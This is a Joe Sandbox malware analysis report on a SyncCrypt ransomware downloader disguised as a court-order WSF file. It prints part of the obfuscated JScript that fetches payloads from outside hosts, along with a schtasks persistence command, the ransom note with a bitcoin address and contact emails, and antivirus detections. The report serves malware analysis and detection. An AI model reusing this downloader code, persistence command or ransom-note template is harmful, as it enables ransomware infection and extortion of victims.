Joe Sandbox Cloud Pro Analysis Report

Loading ...

Analysis Report

Overview

General Information

Joe Sandbox Version:20.0.0
Analysis ID:348744
Start time:11:20:02
Joe Sandbox Product:Cloud
Start date:23.08.2017
Overall analysis duration:0h 11m 48s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:CourtOrder_845493809.wsf
Cookbook file name:default.jbs
Analysis system description:Windows 7 (Office 2010 v14.0.4, Java 1.8.0_40, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 55, Firefox 43)
Number of analysed new started processes analysed:20
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:0
Technologies
  • HCA enabled
  • EGA enabled
  • VBA Instrumentation enabled
  • JavaScript Instrumentation enabled
Detection:MAL
Classification:mal96.evad.rans.winWSF@16/7@4/4
HCA Information:
  • Successful, ratio: 90%
  • Number of executed functions: 11
  • Number of non-executed functions: 110
EGA Information:
  • Successful, ratio: 100%
Cookbook Comments:
  • Sleeps bigger than 20000ms are automatically reduced to 500ms
  • Found application associated with file extension: .wsf
Warnings:
Show All
  • Exclude process from analysis (whitelisted): mscorsvw.exe, sppsvc.exe, WmiApSrv.exe, taskeng.exe, conhost.exe, dllhost.exe
  • Report size getting too big, too many NtOpenFile calls found.
  • Report size getting too big, too many NtQueryDirectoryFile calls found.


Detection

StrategyScoreRangeReportingDetection
Threshold960 - 100Report FP / FNmalicious


Confidence

StrategyScoreRangeFurther Analysis Required?Confidence
Threshold50 - 5false
ConfidenceConfidence


Classification

Signature Overview

Click to jump to signature section


AV Detection:

barindex
Antivirus detection for dropped fileShow sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\sfbI1UOK.jpgvirustotal: 18/58 detections: Emsisoft: Trojan.Ransom.BTF (B), MicroWorld-eScan: Trojan.Ransom.BTF, McAfee-GW-Edition: SyncCrypt!Zip, GData: Trojan.Ransom.BTF, Sophos: Troj/SyncCt-A, McAfee: SyncCrypt!Zip, TrendMicro: TROJ_RANSOMNOTE.AUSTYV, Cyren: JPG/SyncCrypt.A, Symantec: Trojan.Randsom.A, BitDefender: Trojan.Ransom.BTF, TrendMicro-HouseCall: TROJ_RANSOMNOTE.AUSTYV, Arcabit: Trojan.Ransom.BTF, ViRobot: JPG.S.SyncCrypt.1040099, Ikarus: Trojan.Ransom, DrWeb: Trojan.Encoder.13697, Ad-Aware: Trojan.Ransom.BTF, AhnLab-V3: BinImage/Synccrypt, F-Secure: Trojan.Ransom.BTFPerma Link
Antivirus detection for submitted fileShow sources
Source: CourtOrder_845493809.wsfvirustotal: 36/58 detections Avast: Other:Malware-gen [Trj], AVG: Other:Malware-gen [Trj], AegisLab: Troj.Script.Agent!c, Qihoo-360: Trojan.Generic, BitDefender: Trojan.Agent.CLKF, Emsisoft: Trojan.Agent.CLKF (B), MicroWorld-eScan: Trojan.Agent.CLKF, McAfee-GW-Edition: JS/Nemucod.xo, Fortinet: JS/Agent.SU!tr, GData: Script.Trojan-Downloader.SyncCrypt.A, Sophos: Mal/Psyme-A, McAfee: JS/Nemucod.xo, TrendMicro: JS_NEMUCOD.ELDSAUJG, Cyren: JS/Agent.SU!Eldorado, Symantec: JS.Downloader, Tencent: Js.Trojan.Raas.Auto, Panda: JS/Downloader.BRW, ZoneAlarm: HEUR:Trojan.Script.Agent.gen, TheHacker: VBS/Psyme, Rising: Trojan.Locky/JS!1.A549 (cloud:pT6AWwtp6PR), F-Prot: JS/Agent.SU!Eldorado, nProtect: Script-JS/W32.SyncCrypt-Downloader, CAT-QuickHeal: JS.Nemucod.EGL, ALYac: Trojan.Downloader.WSF.Agent, NANO-Antivirus: Trojan.Script.Heuristic-js.iacgm, Ad-Aware: Trojan.Agent.CLKF, AhnLab-V3: JS/Downloader, TrendMicro-HouseCall: JS_NEMUCOD.ELDSAUJG, Arcabit: Trojan.Agent.CLKF, Microsoft: TrojanDownloader:JS/Telicodeq.A, ViRobot: WSF.S.DPerma Link

Cryptography:

barindex
Public key (encryption) foundShow sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: -----BEGIN PUBLIC KEY-----MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAuHSaciHs234HFdvavCdAUL/dvBtWZo5e8SAkm19mQLX5VTzBoscekoJOoPHeAqGFHboj+8TQMZZl/tq5o7W4ZAjSkmEMmeNYgETNbnw8QLa1q4CtmU8W9QzTxcS+HFOo/gh0GYNMr1XqK/IksjhUYQREGnGp20jCeJmTEp+AWp5TvDtFRC/PzAVCuO5_2_00401630
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: -----BEGIN PUBLIC KEY-----MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAuHSaciHs234HFdvavCdAUL/dvBtWZo5e8SAkm19mQLX5VTzBoscekoJOoPHeAqGFHboj+8TQMZZl/tq5o7W4ZAjSkmEMmeNYgETNbnw8QLa1q4CtmU8W9QzTxcS+HFOo/gh0GYNMr1XqK/IksjhUYQREGnGp20jCeJmTEp+AWp5TvDtFRC/PzAVCuO5_2_00405600
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: -----BEGIN PUBLIC KEY-----MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAuHSaciHs234HFdvavCdAUL/dvBtWZo5e8SAkm19mQLX5VTzBoscekoJOoPHeAqGFHboj+8TQMZZl/tq5o7W4ZAjSkmEMmeNYgETNbnw8QLa1q4CtmU8W9QzTxcS+HFOo/gh0GYNMr1XqK/IksjhUYQREGnGp20jCeJmTEp+AWp5TvDtFRC/PzAVCuO5_1_00401630
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: -----BEGIN PUBLIC KEY-----MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAuHSaciHs234HFdvavCdAUL/dvBtWZo5e8SAkm19mQLX5VTzBoscekoJOoPHeAqGFHboj+8TQMZZl/tq5o7W4ZAjSkmEMmeNYgETNbnw8QLa1q4CtmU8W9QzTxcS+HFOo/gh0GYNMr1XqK/IksjhUYQREGnGp20jCeJmTEp+AWp5TvDtFRC/PzAVCuO5_1_00405600
Source: sync.exeBinary or memory string: -----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAuHSaciHs234HFdvavCdA UL/dvBtWZo5e8SAkm19mQLX5VTzBoscekoJOoPHeAqGFHboj+8TQMZZl/tq5o7W4 ZAjSkmEMmeNYgETNbnw8QLa1q4CtmU8W9QzTxcS+HFOo/gh0GYNMr1XqK/IksjhU YQREGnGp20jCeJmTEp+AWp5TvDtFRC/PzAVCuO

Spam, unwanted Advertisements and Ransom Demands:

barindex
Writes a notice file (html or txt) to demand a ransomShow sources
Source: C:\Windows\System32\wscript.exeFile dropped: C:\Users\LUKETA~1\AppData\Local\Temp\BACKUP~1\readme.html -> decryption sofware requires that you send <em>exactly the ammount of bitcoin (without the transaction fee)</em> that is written within the text file to the following address:<br><br><ul><li><em>15lk2bqxj2mjgzz3kcui3b4c42cqkkmqzk</em></li></ul><br>note that if the ammount sent doesn't match exactly the ammount in the text file, you will not receive the sofware, as it's the only way to validate and confirm the payment.<br><br><li>after the payment is done, send an email to all of the following addresses <a href="mailto:getmyfiles@keemail.me, getmyfiles@scryptmail.com, getmyfiles@mail2tor.com">getmyfiles@keemail.me, getmyfiles@scryptmail.com, getmyfiles@mail2tor.com</a> containg:</li><ul><li><em>the file named key, located within the readme folder on your desktop, as an attachment</em> - this file is a locked version of the decryption key (that must be unlocked by us), used to recover your files. do not delete it if

Software Vulnerabilities:

barindex
Found inlined nop instructions (likely shell or obfuscated code)Show sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 4x nop then sub esp, 1Ch5_2_004E6ED0
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 4x nop then mov eax, dword ptr [esp+04h]5_2_0045BED7
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 4x nop then sub esp, 1Ch5_1_004E6ED0
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 4x nop then mov eax, dword ptr [esp+04h]5_1_0045BED7

Networking:

barindex
Downloads files from webservers via HTTPShow sources
Source: global trafficHTTP traffic detected: GET /X8IOl.jpg HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: curl/7.51.0Host: sm.uploads.im
Source: global trafficHTTP traffic detected: GET /mxRqXF/arrival.jpg HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: curl/7.51.0Host: image.ibb.co
Found strings which match to known social media urlsShow sources
Source: wscript.exeString found in binary or memory: login.yahoo.com equals www.yahoo.com (Yahoo)
Source: wscript.exeString found in binary or memory: login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: wscript.exeString found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: image.ibb.co
Urls found in memory or binary dataShow sources
Source: wscript.exeString found in binary or memory: file:///c:/users/user/appdata/local/temp/sfbi1uok.zipe
Source: wscript.exeString found in binary or memory: file:///c:/users/user/appdata/local/temp/sfbi1uok.zipu
Source: wscript.exeString found in binary or memory: file:///c:/users/user/desktop/courtorder_845493809.wsf
Source: wscript.exe, CourtOrder_845493809.wsfString found in binary or memory: http://185.10.202.115/images/arrival.jpg
Source: wscript.exeString found in binary or memory: http://185.10.202.115/images/arrival.jpgo
Source: wscript.exeString found in binary or memory: http://crl.comodo.net/utn-userfirst-hardware.crl0q
Source: wscript.exeString found in binary or memory: http://crl.comodoca.com/utn-userfirst-hardware.crl06
Source: wscript.exeString found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: wscript.exeString found in binary or memory: http://crl.entrust.net/server1.crl0
Source: wscript.exeString found in binary or memory: http://crl.pkioverheid.nl/domorganisatielatestcrl-g2.crl0
Source: wscript.exeString found in binary or memory: http://crl.pkioverheid.nl/domovlatestcrl.crl0
Source: wscript.exeString found in binary or memory: http://crl.usertrust.com/utn-userfirst-object.crl0)
Source: wscript.exeString found in binary or memory: http://crt.comodoca.com/utnaddtrustserverca.crt0$
Source: wscript.exeString found in binary or memory: http://cybertrust.omniroot.com/repository.cfm0
Source: sync.exeString found in binary or memory: http://gcc.gnu.org/bugs.html):
Source: wscript.exeString found in binary or memory: http://ocsp.comodoca.com0
Source: wscript.exeString found in binary or memory: http://ocsp.comodoca.com0%
Source: wscript.exeString found in binary or memory: http://ocsp.comodoca.com0-
Source: wscript.exeString found in binary or memory: http://ocsp.comodoca.com0/
Source: wscript.exeString found in binary or memory: http://ocsp.comodoca.com05
Source: wscript.exeString found in binary or memory: http://ocsp.entrust.net03
Source: wscript.exeString found in binary or memory: http://ocsp.entrust.net0d
Source: wscript.exe, CourtOrder_845493809.wsfString found in binary or memory: http://sm.uploads.im/x8iol.jpg
Source: wscript.exeString found in binary or memory: http://uploads.im/
Source: wscript.exeString found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: wscript.exeString found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: sync.exeString found in binary or memory: http://www.openssl.org/support/faq.html
Source: sync.exeString found in binary or memory: http://www.openssl.org/support/faq.htmlrand
Source: wscript.exeString found in binary or memory: http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0
Source: wscript.exeString found in binary or memory: http://www.public-trust.com/cps/omniroot.html0
Source: wscript.exeString found in binary or memory: http://www.usertrust.com1
Source: wscript.exeString found in binary or memory: https://ibb.co/
Source: wscript.exe, CourtOrder_845493809.wsfString found in binary or memory: https://image.ibb.co/mxrqxf/arrival.jpg
Source: wscript.exeString found in binary or memory: https://secure.comodo.com/cps0
Uses HTTPSShow sources
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49195
Source: unknownNetwork traffic detected: HTTP traffic on port 49195 -> 443
Potential malicious VBS script found (has network functionality)Show sources
Source: Initial file: function busy_sleep(e){for(passed=0;passed++!=e;)for(var t=(makeid(),makeid(),(new Date).getTime()+1e3);(new Date).getTime()<t;);}function unzip(e,t){var i,o,r=new ActiveXObject("Scripting.FileSystemObject"),n=new ActiveXObject("Shell.Application");t||(t="."),r.FolderExists(t)||r.CreateFolder(t),i=n.NameSpace(r.getFolder(t).Path),o=n.NameSpace(r.getFile(e).Path),r.FileExists(e)&&i.CopyHere(o.Items(),20)}function download(e,t){var i=new ActiveXObject("MSXML2.ServerXMLHTTP");i.open("GET",e,!1),i.setRequestHeader("User-Agent","curl/7.51.0"),i.setOption(2,13056);var o=6e4,r=6e4,n=6e4,s=6e4;if(i.setTimeouts(o,r,n,s),i.send(),200==i.status){var a=new ActiveXObject("Scripting.FileSystemObject");a.FileExists(t)&&a.DeleteFile(t);var c=new ActiveXObject("ADODB.Stream");return c.Open(),c.Type=1,c.Write(i.responseBody),c.Position=0,c.SaveToFile(t),c.Close(),0}return i.status}function makeid(){for(var e="",t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",i=0;8>i;i++)e+=t.charAt(Math.floor(Math.random()*t.
Source: Initial file: function busy_sleep(e){for(passed=0;passed++!=e;)for(var t=(makeid(),makeid(),(new Date).getTime()+1e3);(new Date).getTime()<t;);}function unzip(e,t){var i,o,r=new ActiveXObject("Scripting.FileSystemObject"),n=new ActiveXObject("Shell.Application");t||(t="."),r.FolderExists(t)||r.CreateFolder(t),i=n.NameSpace(r.getFolder(t).Path),o=n.NameSpace(r.getFile(e).Path),r.FileExists(e)&&i.CopyHere(o.Items(),20)}function download(e,t){var i=new ActiveXObject("MSXML2.ServerXMLHTTP");i.open("GET",e,!1),i.setRequestHeader("User-Agent","curl/7.51.0"),i.setOption(2,13056);var o=6e4,r=6e4,n=6e4,s=6e4;if(i.setTimeouts(o,r,n,s),i.send(),200==i.status){var a=new ActiveXObject("Scripting.FileSystemObject");a.FileExists(t)&&a.DeleteFile(t);var c=new ActiveXObject("ADODB.Stream");return c.Open(),c.Type=1,c.Write(i.responseBody),c.Position=0,c.SaveToFile(t),c.Close(),0}return i.status}function makeid(){for(var e="",t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",i=0;8>i;i++)e+=t.charAt(Math.floor(Math.random()*t.
Source: Initial file: function busy_sleep(e){for(passed=0;passed++!=e;)for(var t=(makeid(),makeid(),(new Date).getTime()+1e3);(new Date).getTime()<t;);}function unzip(e,t){var i,o,r=new ActiveXObject("Scripting.FileSystemObject"),n=new ActiveXObject("Shell.Application");t||(t="."),r.FolderExists(t)||r.CreateFolder(t),i=n.NameSpace(r.getFolder(t).Path),o=n.NameSpace(r.getFile(e).Path),r.FileExists(e)&&i.CopyHere(o.Items(),20)}function download(e,t){var i=new ActiveXObject("MSXML2.ServerXMLHTTP");i.open("GET",e,!1),i.setRequestHeader("User-Agent","curl/7.51.0"),i.setOption(2,13056);var o=6e4,r=6e4,n=6e4,s=6e4;if(i.setTimeouts(o,r,n,s),i.send(),200==i.status){var a=new ActiveXObject("Scripting.FileSystemObject");a.FileExists(t)&&a.DeleteFile(t);var c=new ActiveXObject("ADODB.Stream");return c.Open(),c.Type=1,c.Write(i.responseBody),c.Position=0,c.SaveToFile(t),c.Close(),0}return i.status}function makeid(){for(var e="",t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",i=0;8>i;i++)e+=t.charAt(Math.floor(Math.random()*t.

Boot Survival:

barindex
Uses schtasks.exe or at.exe to add and modify task schedulesShow sources
Source: unknownProcess created: C:\Windows\System32\schtasks.exe 'C:\Windows\System32\schtasks.exe' /CREATE /F /TN sync /TR 'C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exe -e \'C:\Users\user\desktop\'' /sc once /st 11:24:00

Stealing of Sensitive Information:

barindex
Shows file infection / information gathering behavior (enumerates multiple directory for files)Show sources
Source: C:\Windows\System32\cmd.exeDirectory queried: number of queries: 1045

Persistence and Installation Behavior:

barindex
Drops PE filesShow sources
Source: C:\Windows\System32\wscript.exeFile created: C:\Users\LUKETA~1\AppData\Local\Temp\BACKUP~1\sync.exe
Installs new ROOT certificatesShow sources
Source: C:\Windows\System32\wscript.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob
Source: C:\Windows\System32\wscript.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Data Obfuscation:

barindex
Contains functionality to dynamically determine API callsShow sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_00401500 GetModuleHandleA,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,5_2_00401500
PE file contains sections with non-standard namesShow sources
Source: sync.exe.0.drStatic PE information: section name: .eh_fram
Uses code obfuscation techniques (call, push, ret)Show sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_00404A24 push eax; mov dword ptr [esp], 00000000h5_2_00404A3C
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_0057150F push ecx; mov dword ptr [esp], ebx5_2_00571549
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_00401630 push eax; mov dword ptr [esp], 00000BB8h5_2_004016AB
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_00401630 push eax; mov dword ptr [esp], ebx5_2_004016B9
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_00535FC0 push eax; mov dword ptr [esp], ebx5_2_005361C2
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_00536D40 push eax; mov dword ptr [esp], ebx5_2_0053703F
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_00537310 push eax; mov dword ptr [esp], ebx5_2_0053760F
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_004E42D0 push eax; mov dword ptr [esp], esi5_2_004E4345
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_1_00404A24 push eax; mov dword ptr [esp], 00000000h5_1_00404A3C
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_1_0057150F push ecx; mov dword ptr [esp], ebx5_1_00571549
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_1_00401630 push eax; mov dword ptr [esp], 00000BB8h5_1_004016AB
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_1_00401630 push eax; mov dword ptr [esp], ebx5_1_004016B9
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_1_00535FC0 push eax; mov dword ptr [esp], ebx5_1_005361C2
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_1_00536D40 push eax; mov dword ptr [esp], ebx5_1_0053703F
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_1_00537310 push eax; mov dword ptr [esp], ebx5_1_0053760F

Spreading:

barindex
Contains functionality to query local drivesShow sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: 5_2_00401630 CreateDirectoryA,Sleep,system,system,GetLogicalDriveStringsA,lstrlenA,GetDriveTypeA,lstrlenA,ShellExecuteExA,WaitForSingleObject,GetSystemWindowsDirectoryA,tolower,tolower,remove,time,srand,rand,malloc,fopen,fwrite,fclose,fopen,fopen,malloc,malloc,fwrite,fread,fwrite,fwrite,free,free,fclose,fclose,remove,_chmod,remove,remove,remove,system,system,system,5_2_00401630
Creates COM task schedule object (often to register a task for autostart)Show sources
Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}
Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Progid
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Progid
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\ProgID
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Progid
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Progid
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\ProgID
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_USERS\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\schtasks.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Shows file infection / information gathering behavior (enumerates multiple directory for files)Show sources
Source: C:\Windows\System32\cmd.exeDirectory queried: number of queries: 1045

System Summary:

barindex
Found graphical window changes (likely an installer)Show sources
Source: Window RecorderWindow detected: More than 3 window changes detected
Classification labelShow sources
Source: classification engineClassification label: mal96.evad.rans.winWSF@16/7@4/4
Creates files inside the user directoryShow sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeFile created: C:\Users\user\desktop\README\
Creates temporary filesShow sources
Source: C:\Windows\System32\wscript.exeFile created: C:\Users\LUKETA~1\AppData\Local\Temp\sfbI1UOK.jpg
Found command line outputShow sources
Source: C:\Windows\System32\schtasks.exeConsole Write: ........a..u..0.............t...............................`.N...8...:...:.....P.#...N.........d.#..........WgZ..#.G..v
Source: C:\Windows\System32\cmd.exeConsole Write: ........n#.......... . . . . . . . .1. .f.i.l.e.(.s.). .m.o.v.e.d.......V..J ...........p..........uD...4...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ........n#.......... . . . . . . . .1. .f.i.l.e.(.s.). .m.o.v.e.d.......V.DJt.!...........!........u..!.4...`.....,.....
Reads ini filesShow sources
Source: C:\Windows\System32\wscript.exeFile read: C:\Users\desktop.ini
Reads software policiesShow sources
Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
Sample is known by Antivirus (Virustotal or Metascan)Show sources
Source: CourtOrder_845493809.wsfVirustotal: hash found
Spawns processesShow sources
Source: unknownProcess created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\Desktop\CourtOrder_845493809.wsf'
Source: unknownProcess created: C:\Windows\System32\schtasks.exe 'C:\Windows\System32\schtasks.exe' /CREATE /F /TN sync /TR 'C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exe -e \'C:\Users\user\desktop\'' /sc once /st 11:24:00
Source: unknownProcess created: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exe C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exe -e 'C:\Users\user\desktop'
Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c move /y readme.html 'C:\Users\user\desktop\README\readme.html'
Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c move /y readme.png 'C:\Users\user\desktop\README\readme.png'
Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cmd /c net view
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c net view
Source: unknownProcess created: C:\Windows\System32\net.exe net view
Source: unknownProcess created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c dir C:\ /s /b /a-d >> WAJSFDWJWP
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\schtasks.exe 'C:\Windows\System32\schtasks.exe' /CREATE /F /TN sync /TR 'C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exe -e \'C:\Users\user\desktop\'' /sc once /st 11:24:00
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c move /y readme.html 'C:\Users\user\desktop\README\readme.html'
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c move /y readme.png 'C:\Users\user\desktop\README\readme.png'
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cmd /c net view
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeProcess created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c dir C:\ /s /b /a-d >> WAJSFDWJWP
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c net view
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net view
Uses an in-process (OLE) Automation serverShow sources
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{06290BD0-48AA-11D2-8432-006008C3FBFC}\InprocServer32
Found potential string decryption / allocating functionsShow sources
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: String function: 00413910 appears 113 times
Source: C:\Users\LUKETA~1\AppData\Local\Temp\BackupClient\sync.exeCode function: String function: 00414410 appears 267 times
